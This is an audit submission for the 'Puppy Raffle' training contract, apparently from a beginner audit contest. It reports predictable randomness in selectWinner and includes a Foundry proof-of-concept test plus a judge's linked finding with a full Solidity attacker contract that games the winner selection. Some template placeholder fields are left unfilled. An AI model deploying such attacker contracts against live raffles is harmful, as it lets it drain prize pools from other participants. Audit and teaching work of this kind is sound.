Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Weak Randomness in `PuppyRaffle::selectWinner` allow users to influence or predict the winner and influence or predict the winning puppy.

strikerr

Root + Impact

Description

  • Describe the normal behavior in one or more sentences

  • Explain the specific issue or problem in one or more sentences

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable final number, a predictable number is not a good random number.
Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.
*Note*: This additionally means users could front-run this function and call `refund` if they see they are not the winner.
​
```solidity
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
​
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
​
```

Risk

Likelihood:

  • Reason 1 // Describe WHEN this will occur (avoid using "if" statements)

  • Reason 2

Impact:

  • Impact 1

  • Impact 2

Proof of Concept

**Proof of Concept:**
1. validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the [Solidity blog on prevrandao], `block.difficulty` was recently replaced with prevrandao.
2. Users can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.
​
<details>
<summary>Code</summary>
​
```solidity
function testWeakRandomnessAttacker() public {
address[] memory players = new address[](4);
players[0] = playerOne;
players[1] = playerTwo;
players[2] = playerThree; // Attacker
players[3] = playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
vm.warp(block.timestamp + puppyRaffle.raffleDuration() + 1);
// Attacker loops through blocks until they find one where they win
uint256 winnerIndex;
for (uint256 i = 0; i < 100; i++) {
winnerIndex = uint256(keccak256(abi.encodePacked(players[2], block.timestamp, block.difficulty))) % players.length;
if (winnerIndex == 2) {
break;
}
// Move to next block
vm.warp(block.timestamp + 1);
vm.roll(block.number + 1);
vm.difficulty(i);
}
require(winnerIndex == 2, "Failed to find a winning block for attacker");
vm.prank(players[2]);
puppyRaffle.selectWinner();
assertEq(puppyRaffle.previousWinner(), players[2]);
}
```
​
</details>
Using on-chain values as a randomness seed is a [well documented attack vector] (https://medium.com/better-programming/how-to-generate-truly-random-numbers-in-solidity-and-blockchain-9ced6472dbdf) in the blockchain space.

Recommended Mitigation

**Recommended Mitigation:** consider using a cryptographically provable random number generator such as chainlink-VRF.
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

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